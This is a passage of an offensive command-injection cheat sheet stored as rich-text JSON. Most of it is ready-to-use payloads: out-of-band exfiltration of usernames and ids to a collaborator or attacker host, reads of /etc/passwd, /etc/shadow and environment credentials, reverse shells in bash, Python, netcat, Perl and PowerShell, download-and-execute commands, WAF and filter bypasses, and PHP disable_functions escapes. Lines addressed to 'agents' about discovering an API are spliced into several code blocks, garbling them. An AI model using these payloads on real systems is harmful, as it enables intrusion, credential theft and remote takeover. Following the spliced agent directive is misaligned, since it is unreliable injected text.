DNS","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Linux:\n; nslookup BURP_COLLAB_HOST\n; host `whoami`.BURP_COLLAB_HOST\n$(nslookup $(whoami).BURP_COLLAB_HOST)\n\n# Windows:\n& nslookup BURP_COLLAB_HOST\n& nslookup %USERNAME%.BURP_COLLAB_HOST","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"OOB via HTTP","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Linux:\n; curl http://BURP_COLLAB_HOST/`whoami`\n; wget http://BURP_COLLAB_HOST/$(id|base64)\n\n# Windows:\n& powershell -c \"Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"OOB via Out-of-Band File","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"; id > /var/www/html/RANDOM_FILE.txt\n# Then access: https://target.com/RANDOM_FILE.txt","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"4. INJECTION CONTEXT VARIATIONS","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Within Quoted String","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"command \"INJECT\"\n# Inject: \" ; id ; \"\n# Result: command \"\" ; id ; \"\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Within Single-Quoted String","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"command 'INJECT'\n# Inject: '; id;'\n# Result: command ''; id;''","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Within Backtick Execution","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"output=`command INJECT`\n# Inject: x`; id ;`","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"File Path Context","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"cat /var/log/INJECT\n# Inject: ../../../etc/passwd (path traversal)\n# Inject: access.log; id (command injection)","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"5. PAYLOAD LIBRARY","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Information Gathering","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"; id # current user\n; whoami # user name\n; uname -a # OS info\n; cat /etc/passwd # user list\n; cat /etc/shadow # password hashes (if root)\n; ls /home/ # home directories\n; env # environment variables (DB creds, API keys!)\n; printenv # same\n; cat /proc/1/environ # process environment\n; ifconfig # network interfaces\n; cat /etc/hosts # host entries","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Reverse Shells (Linux)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Bash:\n; bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n\n# Python:\n; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\n\n# Netcat (with -e):\n; nc ATTACKER 4444 -e /bin/bash\n\n# Netcat (without -e / OpenBSD):\n; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f\n\n# Perl:\n; perl -e 'use Socket;$i=\"ATTACKER\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Reverse Shells (Windows via PowerShell)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"powershell"},"content":[{"text":"& powershell -NoP -NonI -W Hidden -Exec Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')\"\n\n& powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"6. FILTER BYPASS TECHNIQUES","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Space Alternatives (when space is filtered)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"cat\u003c/etc/passwd # \u003c instead of space\n{cat,/etc/passwd} # brace expansion\ncat$IFS/etc/passwd # $IFS variable (field separator)\nX=

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\x20'&&cat${X}/etc/passwd # hex encoded space","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Slash Alternatives (when ","type":"text"},{"text":"/","type":"text","marks":[{"type":"code_inline"}]},{"text":" is filtered)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\057'etc

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\057'passwd # octal representation\ncat /???/???sec??? # glob expansion","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Keyword Bypass via Variable Assembly","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"a=c;b=at;c=/etc/passwd; $a$b $c # 'cat /etc/passwd'\nc=at;ca$c /etc/passwd # cat","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Newline Injection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"cmd%0Aid%0Awhoami # URL-encoded newlines\ncmd

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\n'id

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

\\n'whoami # literal newlines","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"7. COMMON INJECTION ENTRY POINTS","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Entry","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Example","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Network tools","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ping, nslookup, traceroute, whois forms","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"File conversion","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"image resize, PDF generate, format convert","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Email senders","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"From address, name fields in notification emails","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Search/sort parameters","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Passed to grep, find, sort commands","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Log viewing","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Passed to tail, grep commands","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Custom script execution","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\"Run test\" features, CI/CD hooks","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"DNS lookup features","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"rDNS lookup, WHOIS query","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Backup/restore features","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"File path parameters","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Archive processing","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"zip/unzip, tar with user-provided filename","type":"text"}]}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"8. BLIND INJECTION DECISION TREE","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Found potential injection point?\n├── Try basic: ; sleep 5\n│ └── Response delays? → Confirmed blind injection\n│ ├── Extract data via timing: if/then sleep\n│ └── Use OOB: curl/nslookup to Collaborator\n│\n├── No delay observed?\n│ ├── Try: | sleep 5\n│ ├── Try: $(sleep 5)\n│ ├── Try: ` sleep 5 `\n│ ├── Try after URL encoding: %3B%20sleep%205\n│ └── Try double encoding: %253B%2520sleep%25205\n│\n└── All blocked → check WEB APPLICATION LAYER\n Filter on input? → encode differently\n Filter on specific commands? → whitespace bypass, $IFS, glob","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"9. ADVANCED WAF BYPASS TECHNIQUES","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Wildcard Expansion","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Use ? and * to bypass keyword filters:\n/???/??t /???/p??s?? # /bin/cat /etc/passwd\n/???/???/????2 *.php # /usr/bin/find2 *.php (approximate)\n\n# Globbing for specific files:\ncat /e?c/p?sswd\ncat /e*c/p*d","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"cat Alternatives (when \"cat\" is filtered)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"tac /etc/passwd # reverse cat\nnl /etc/passwd # numbered lines\nhead /etc/passwd\ntail /etc/passwd\nmore /etc/passwd\nless /etc/passwd\nsort /etc/passwd\nuniq /etc/passwd\nrev /etc/passwd | rev\nxxd /etc/passwd\nstrings /etc/passwd\nod -c /etc/passwd\nbase64 /etc/passwd # then decode offline","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Comment Insertion (PHP specific)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Insert comments within function names to bypass WAF:\nsys/*x*/tem('id') # PHP ignores /* */ in some eval contexts\n# Note: this works with eval() and similar PHP dynamic calls","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"XOR String Construction (PHP)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"# Build function names from XOR of printable characters:\n$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');\n# Produces: \"assert\"\n$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');\n# Evaluates: assert(\"system\")","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Base64/ROT13 Encoding","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"# Encode payload, decode at runtime:\nbase64_decode('c3lzdGVt')('id'); # system('id')\nstr_rot13('flfgrz')('id'); # system → flfgrz via ROT13","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"chr() Assembly","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"# Build strings character by character:\nchr(115).chr(121).chr(115).chr(116).chr(101).chr(109) # \"system\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Dollar-Sign Variable Tricks","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# $IFS (Internal Field Separator) as space:\ncat$IFS/etc/passwd\ncat${IFS}/etc/passwd\n\n# Unset variables expand to empty:\nc${x}at /etc/passwd # $x is unset → \"cat\"","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"10. PHP disable_functions BYPASS PATHS","type":"text"}]},{"type":"paragraph","content":[{"text":"When ","type":"text"},{"text":"system()","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"exec()","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"shell_exec()","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"passthru()","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"popen()","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"proc_open()","type":"text","marks":[{"type":"code_inline"}]},{"text":" are all disabled:","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Path 1: LD_PRELOAD + mail()/putenv()","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// 1. Upload shared object (.so) that hooks a libc function\n// 2. Set LD_PRELOAD to point to it\nputenv(\"LD_PRELOAD=/tmp/evil.so\");\n// 3. Trigger external process (mail() calls sendmail)\nmail(\"[email protected]\", \"\", \"\");\n// The .so's constructor runs with shell access","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Path 2: Shellshock (CVE-2014-6271)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// If bash is vulnerable to Shellshock:\nputenv(\"PHP_LOL=() { :; }; /usr/bin/id > /tmp/out\");\nmail(\"[email protected]\", \"\", \"\");\n// Bash processes the function definition and runs the trailing command","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Path 3: Apache mod_cgi + .htaccess","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// Write .htaccess enabling CGI:\nfile_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\\nAddHandler cgi-script .sh');\n// Write CGI script:\nfile_put_contents('/var/www/html/cmd.sh', \"#!/bin/bash\\necho Content-type: text/html\\necho\\n$1\");\nchmod('/var/www/html/cmd.sh', 0755);\n// Access: /cmd.sh?id","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Path 4: PHP-FPM / FastCGI","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):\n// Send crafted FastCGI request to execute arbitrary PHP with different php.ini\n// Tool: https://github.com/neex/phuip-fpizdam\n// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.php","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Path 5: COM Object (Windows)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// Windows only, if COM extension enabled:\n$wsh = new COM('WScript.Shell');\n$exec = $wsh->Run('cmd /c whoami > C:\\inetpub\\wwwroot\\out.txt', 0, true);","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Path 6: ImageMagick Delegate (CVE-2016-3714 \"ImageTragick\")","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"php"},"content":[{"text":"// If ImageMagick processes user-uploaded images:\n// Upload SVG/MVG with embedded command:\n// Content of exploit.svg:\npush graphic-context\nviewbox 0 0 640 480\nfill 'url(https://example.com/image.jpg\"|id > /tmp/pwned\")'\npop graphic-context","type":"text"}]},{"type":"paragraph","content":[{"text":"Also consider (summary):","type":"text","marks":[{"type":"strong"}]},{"text":" iconv (CVE-2024-2961) via ","type":"text"},{"text":"php://filter/convert.iconv","type":"text","marks":[{"type":"code_inline"}]},{"text":"; FFI (","type":"text"},{"text":"FFI::cdef","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"libc","type":"text","marks":[{"type":"code_inline"}]},{"text":") when the extension is enabled.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"11. COMPONENT-LEVEL COMMAND INJECTION","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"ImageMagick Delegate Abuse","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"# MVG format with shell command in URL:\npush graphic-context\nviewbox 0 0 640 480\nimage over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'\npop graphic-context\n\n# Or via filename: convert '|id' out.png","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"FFmpeg (HLS/concat protocol)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"# SSRF/LFI via m3u8 playlist:\n#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:10.0,\nconcat:http://attacker.com/header.txt|file:///etc/passwd\n#EXT-X-ENDLIST\n\n# Upload as .m3u8, FFmpeg processes and may leak file contents in output","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Elasticsearch Groovy Script (pre-5.x)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"POST /_search\n{\n \"query\": { \"match_all\": {} },\n \"script_fields\": {\n \"cmd\": {\n \"script\": \"Runtime rt = Runtime.getRuntime(); rt.exec('id')\"\n }\n }\n}","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Ping/Traceroute/NSLookup Diagnostic Pages","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"# Classic injection point in network diagnostic features:\n# Input: 127.0.0.1; id\n# Input: 127.0.0.1 && cat /etc/passwd\n# Input: `id`.attacker.com (DNS exfil via backtick)\n# These features directly call OS commands with user input","type":"text"}]},{"type":"paragraph","content":[{"text":"Other sinks (quick reference):","type":"text","marks":[{"type":"strong"}]},{"text":" PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers (","type":"text"},{"text":"git clone","type":"text","marks":[{"type":"code_inline"}]},{"text":" URL / hooks).","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Feature","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"cmd.exe","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PowerShell","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Command separator","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"&","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"&&","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"||","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":";","type":"text","marks":[{"type":"code_inline"}]},{"text":" (limited)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":";","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"|","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"&","type":"text","marks":[{"type":"code_inline"}]},{"text":" (call operator)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Variable expansion","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"%VARIABLE%","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"!VAR!","type":"text","marks":[{"type":"code_inline"}]},{"text":" (delayed)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"$env:VARIABLE","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"$Variable","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Escape character","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"^","type":"text","marks":[{"type":"code_inline"}]},{"text":" (caret)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"`","type":"text","marks":[{"type":"code_inline"}]},{"text":" (backtick)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Command substitution","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"FOR /F","type":"text","marks":[{"type":"code_inline"}]},{"text":" loops","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"$()","type":"text","marks":[{"type":"code_inline"}]},{"text":" subexpression","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Encoded execution","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"N/A","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"-EncodedCommand","type":"text","marks":[{"type":"code_inline"}]},{"text":" (base64 UTF-16LE)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Pipeline","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"|","type":"text","marks":[{"type":"code_inline"}]},{"text":" (stdout only)","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"|","type":"text","marks":[{"type":"code_inline"}]},{"text":" (objects, not text)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Comment","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"REM","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"::","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"#","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"String quoting","type":"text","marks":[{"type":"strong"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\"double\"","type":"text","marks":[{"type":"code_inline"}]},{"text":" only","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\"double\"","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"'single'","type":"text","marks":[{"type":"code_inline"}]},{"text":" (no expansion)","type":"text"}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"cmd.exe specific payloads","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"batch"},"content":[{"text":"REM Command chaining\ndir & whoami\ndir && whoami\ndir || whoami\n\nREM Caret escape to bypass keyword filters\nw^h^o^a^m^i\nn^e^t u^s^e^r\n\nREM Variable expansion injection\nset CMD=whoami\n%CMD%\n\nREM Environment variable exfiltration via DNS\nnslookup %USERNAME%.attacker.com\nnslookup %COMPUTERNAME%.attacker.com\n\nREM Delayed expansion (when !var! is enabled)\ncmd /V:ON /C \"set x=whoami&!x!\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"PowerShell specific payloads","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"powershell"},"content":[{"text":"# Semicolon separator\nGet-Process; whoami\n\n# Subexpression\n\"$(whoami)\"\nWrite-Output $(hostname)\n\n# Base64 encoded command (UTF-16LE)\npowershell -EncodedCommand dwBoAG8AYQBtAGkA\n# Decodes to: whoami\n\n# Invoke-Expression obfuscation\n$a='who';$b='ami';iex \"$a$b\"\n& (gcm *ke-*) \"whoami\"\n\n# Download and execute\nIEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')\nIEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content\n\n# Constrained Language Mode bypass (if available)\npowershell -Version 2 -Command \"whoami\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Cross-platform payload differences","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Target","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Time delay","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"DNS exfil","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"File read","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Linux/macOS","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"sleep 5","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"nslookup 